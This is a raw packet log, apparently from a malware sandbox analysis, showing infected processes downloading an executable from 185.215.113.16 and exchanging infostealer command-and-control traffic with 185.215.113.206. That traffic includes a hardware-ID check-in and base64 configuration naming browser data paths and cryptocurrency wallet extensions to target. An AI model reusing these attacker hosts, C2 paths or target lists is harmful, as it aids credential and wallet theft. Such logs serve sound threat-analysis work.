Nov 24, 2024 14:24:38.263176918 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:24:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49838	185.215.113.16	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:24:38.386934996 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 24, 2024 14:24:39.813234091 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:24:39 GMT Content-Type: application/octet-stream Content-Length: 1801728 Last-Modified: Sun, 24 Nov 2024 12:34:40 GMT Connection: keep-alive ETag: "67431d60-1b7e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 24 01 00 00 00 00 00 00 30 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 69 00 00 04 00 00 26 27 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPELO/g$0i@`i&'@M$a$$ $b@.rsrc$r@.idata $t@ *$v@jerbjqqv@Ox@nuqdewfy iX@.taggant00i"\@
Nov 24, 2024 14:24:39.813290119 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 14:24:39.813308954 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 14:24:39.813430071 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 14:24:39.813465118 CET	1236	IN	Data Raw: 48 de 96 dd 1a c3 eb 5a 53 6f 1f 60 de 46 04 65 48 4d 1d b8 9a a8 c2 fa 3a 47 60 b9 76 de f2 50 ab be 41 59 d5 a3 4f ba 15 5d e0 0d 46 4a 2a f1 f2 f4 22 69 3b 4b c6 32 34 3e 1c b5 e5 4e 36 2a b3 91 be 19 cb b5 5a b4 20 db 27 b8 bc 74 12 d0 32 36 Data Ascii: HZSo`FeHM:G`vPAYO]FJ"i;K24>N6Z 't260kos:x\|C+4#$'vr%QB5RQ,n<RLFVA+EKw5;;HIDWljD+t1&x~UMz8"3wjP;"?ns6U(k0O
Nov 24, 2024 14:24:39.813534975 CET	1236	IN	Data Raw: 45 df 29 fa 1b 46 fc 31 9d bb b7 df 89 23 4f c2 49 38 5e 6a 5c a6 63 7d 9b 89 b2 c2 f4 37 da cf 2c 39 d4 5c 15 9a 2d 33 88 e8 1c b5 73 58 88 d2 79 63 db 5f dc 28 da 97 d7 db eb 41 b5 00 31 aa 8a d5 5c 2f 3f df 38 11 74 ba 9b 94 3c da b2 09 7c 01 Data Ascii: E)F1#OI8^j\c}7,9\-3sXyc_(A1\/?8t<\|CU\|iaJLRN9q=FNN#t0#\|>\|GcoCk~J5)EFRFdKrHK3g#a<r;?tpS=S>AVKp*.I;s;~Tb=
Nov 24, 2024 14:24:39.813570023 CET	1236	IN	Data Raw: 3a 0e fd 15 e4 1e ba 0d 75 2e d4 cf 9a 1e e0 d7 66 7a ce 51 7b 18 0b d2 9a 36 d2 13 b7 46 92 0d 3f 81 eb 4c 8b 31 0c d9 76 84 db bd 51 fe d4 2f ab 3a 4e ea 96 07 aa 08 49 fb 31 58 b7 38 62 e9 82 07 94 0a ba fe dd 2f d3 3a 82 ea 2a 7a e3 78 78 60 Data Ascii: :u.fzQ{6F?L1vQ/:NI1X8b/:zxx`;V\QRunLS2vgIWQdczU> ;/&R8F:TW;f?WpIL~P?;#VNPLDxDVR:*m9c8'D9R
Nov 24, 2024 14:24:39.813605070 CET	1236	IN	Data Raw: 38 51 ab dd bf 65 93 ec 44 2a 4c de 36 84 ee 92 57 b8 91 18 c1 0c 9a 4c b3 81 12 7d 77 11 4e 2e 3b 0c 66 0d a7 fe 21 67 7c fb 27 80 3b 0c 92 0c 07 18 53 f0 b9 3a d9 4b 86 fe e2 af 75 92 53 ec a2 4c 14 00 2b 0c d2 d7 57 7e 06 54 c3 50 5e a2 44 1e Data Ascii: 8QeDL6WL}wN.;f!g\|';S:KuSL+W~TP^Dn8stR!dkGFJN}`uz&m\|}IINs}YKnu"VOOZYXxoz8C}RRT)~7Q_ZtV
Nov 24, 2024 14:24:39.813637972 CET	1236	IN	Data Raw: 93 99 e0 7b 55 c2 db 59 47 18 51 15 bb d3 e3 d7 f2 7a 72 55 7b 6f 56 32 5f a2 fe 50 73 9a d5 cd 52 67 b1 d9 9c 1b 6a 20 49 39 62 ea ba 38 17 fc 40 70 d2 dd 02 45 32 52 c3 2d 60 d2 07 d6 e0 d7 26 80 f2 38 48 17 93 4c 3b 2b 18 e0 e3 1e 72 0a 5f 01 Data Ascii: {UYGQzrU{oV2_PsRgj I9b8@pE2R-`&8HL;+r_+K.L9%B.Tu"Zf#_b8SWIOF; TK+H<Q*.t62[IhGDv;~X(I6P;)nNUEQs9zrIJ
Nov 24, 2024 14:24:39.813673973 CET	1236	IN	Data Raw: 47 b8 ef c9 48 0a 0f ec ea 18 0a da 92 91 f6 0c bc 2a 0c de 9e 07 f4 db b8 48 df 59 3b 46 06 e3 7a 7e b2 dc 7c f9 3b 0e 87 7a de 2b 78 99 fa cc 61 f1 cc 53 47 6a 6b de b2 fe 51 0c bd db 4e d8 39 5e 56 50 c7 38 a2 50 57 c5 ec db ba d8 e0 d7 e6 7a Data Ascii: GH*HY;Fz~\|;z+xaSGjkQN9^VP8PWzS{z_/{Zu;W\T><EN(I.zQ"KRHw(MGz;.tM8SUSCKI8%dJDVWSsFxN];Z
Nov 24, 2024 14:24:39.933727980 CET	1236	IN	Data Raw: ff 77 61 7c bd 06 1f 48 2a 0f a2 e3 f2 46 ef 84 5d 66 3a cd 5a f7 09 af 81 97 1a be 6f c7 5d fd 52 d1 74 ee 92 6c 0e ee f1 8f 4c cf bf 6b a2 fa 8f ea 0a b8 54 f8 7a 69 51 e9 17 a4 53 09 fe 02 a7 9f 55 55 79 ce 09 be 3c a2 e6 c4 4f 4e 52 87 bf 9a Data Ascii: wa\|HF]f:Zo]RtlLkTziQSUUy<ONRnp{qF9M-U!\Z/!C<]i\i[oQl;Xz\|!!C2g[X9Ra]iQ U!(R"LVxJz\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49855	185.215.113.206	80	8144	C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:24:45.442436934 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 24, 2024 14:24:46.819699049 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 13:24:46 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 24, 2024 14:24:46.825644016 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCFBGIDAEHCFIDGCBGII Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 46 42 47 49 44 41 45 48 43 46 49 44 47 43 42 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 36 38 32 45 37 39 42 32 46 35 38 33 34 31 39 37 30 35 32 34 38 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 47 49 44 41 45 48 43 46 49 44 47 43 42 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 47 49 44 41 45 48 43 46 49 44 47 43 42 47 49 49 2d 2d 0d 0a Data Ascii: ------FCFBGIDAEHCFIDGCBGIIContent-Disposition: form-data; name="hwid"2682E79B2F583419705248------FCFBGIDAEHCFIDGCBGIIContent-Disposition: form-data; name="build"mars------FCFBGIDAEHCFIDGCBGII--
Nov 24, 2024 14:24:47.283797979 CET	407	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 13:24:47 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 7a 51 31 4e 6d 49 77 4d 6a 55 79 59 6d 49 79 59 57 4d 79 4e 54 49 77 59 6a 67 78 4d 47 4d 33 5a 47 56 6a 4f 54 56 6c 4e 44 49 77 4f 57 4e 68 5a 6a 55 33 5a 44 46 6d 5a 6a 51 31 4d 7a 6c 6a 5a 47 51 30 5a 6a 42 6b 4d 44 6b 31 4e 6a 45 78 59 6a 49 33 59 6a 45 33 4e 54 67 32 4d 54 67 79 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: YzQ1NmIwMjUyYmIyYWMyNTIwYjgxMGM3ZGVjOTVlNDIwOWNhZjU3ZDFmZjQ1MzljZGQ0ZjBkMDk1NjExYjI3YjE3NTg2MTgyfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 24, 2024 14:24:47.287039042 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHJDGDBFCBKFHJKFHCBK Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 44 47 44 42 46 43 42 4b 46 48 4a 4b 46 48 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 35 36 62 30 32 35 32 62 62 32 61 63 32 35 32 30 62 38 31 30 63 37 64 65 63 39 35 65 34 32 30 39 63 61 66 35 37 64 31 66 66 34 35 33 39 63 64 64 34 66 30 64 30 39 35 36 31 31 62 32 37 62 31 37 35 38 36 31 38 32 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 44 47 44 42 46 43 42 4b 46 48 4a 4b 46 48 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 44 47 44 42 46 43 42 4b 46 48 4a 4b 46 48 43 42 4b 2d 2d 0d 0a Data Ascii: ------GHJDGDBFCBKFHJKFHCBKContent-Disposition: form-data; name="token"c456b0252bb2ac2520b810c7dec95e4209caf57d1ff4539cdd4f0d095611b27b17586182------GHJDGDBFCBKFHJKFHCBKContent-Disposition: form-data; name="message"browsers------GHJDGDBFCBKFHJKFHCBK--
Nov 24, 2024 14:24:47.737097979 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 13:24:47 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 24, 2024 14:24:47.737137079 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 24, 2024 14:24:47.738466024 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIDBFCBGDBKKECBFCGIE Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 44 42 46 43 42 47 44 42 4b 4b 45 43 42 46 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 35 36 62 30 32 35 32 62 62 32 61 63 32 35 32 30 62 38 31 30 63 37 64 65 63 39 35 65 34 32 30 39 63 61 66 35 37 64 31 66 66 34 35 33 39 63 64 64 34 66 30 64 30 39 35 36 31 31 62 32 37 62 31 37 35 38 36 31 38 32 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 42 46 43 42 47 44 42 4b 4b 45 43 42 46 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 42 46 43 42 47 44 42 4b 4b 45 43 42 46 43 47 49 45 2d 2d 0d 0a Data Ascii: ------HIDBFCBGDBKKECBFCGIEContent-Disposition: form-data; name="token"c456b0252bb2ac2520b810c7dec95e4209caf57d1ff4539cdd4f0d095611b27b17586182------HIDBFCBGDBKKECBFCGIEContent-Disposition: form-data; name="message"plugins------HIDBFCBGDBKKECBFCGIE--
Nov 24, 2024 14:24:48.190156937 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 13:24:47 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 24, 2024 14:24:48.190218925 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 24, 2024 14:24:48.190256119 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Nov 24, 2024 14:24:48.190359116 CET	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Nov 24, 2024 14:24:48.190393925 CET	1236	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Nov 24, 2024 14:24:48.190429926 CET	1164	IN	Data Raw: 56 32 46 73 62 47 56 30 66 47 68 6c 5a 57 5a 76 61 47 46 6d 5a 6d 39 74 61 32 74 72 63 47 68 75 62 48 42 76 61 47 64 73 62 6d 64 74 59 6d 4e 6a 62 47 68 70 66 44 46 38 4d 48 77 77 66 46 68 32 5a 58 4a 7a 5a 53 42 58 59 57 78 73 5a 58 52 38 61 57 Data Ascii: V2FsbGV0fGhlZWZvaGFmZm9ta2trcGhubHBvaGdsbmdtYmNjbGhpfDF8MHwwfFh2ZXJzZSBXYWxsZXR8aWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGp
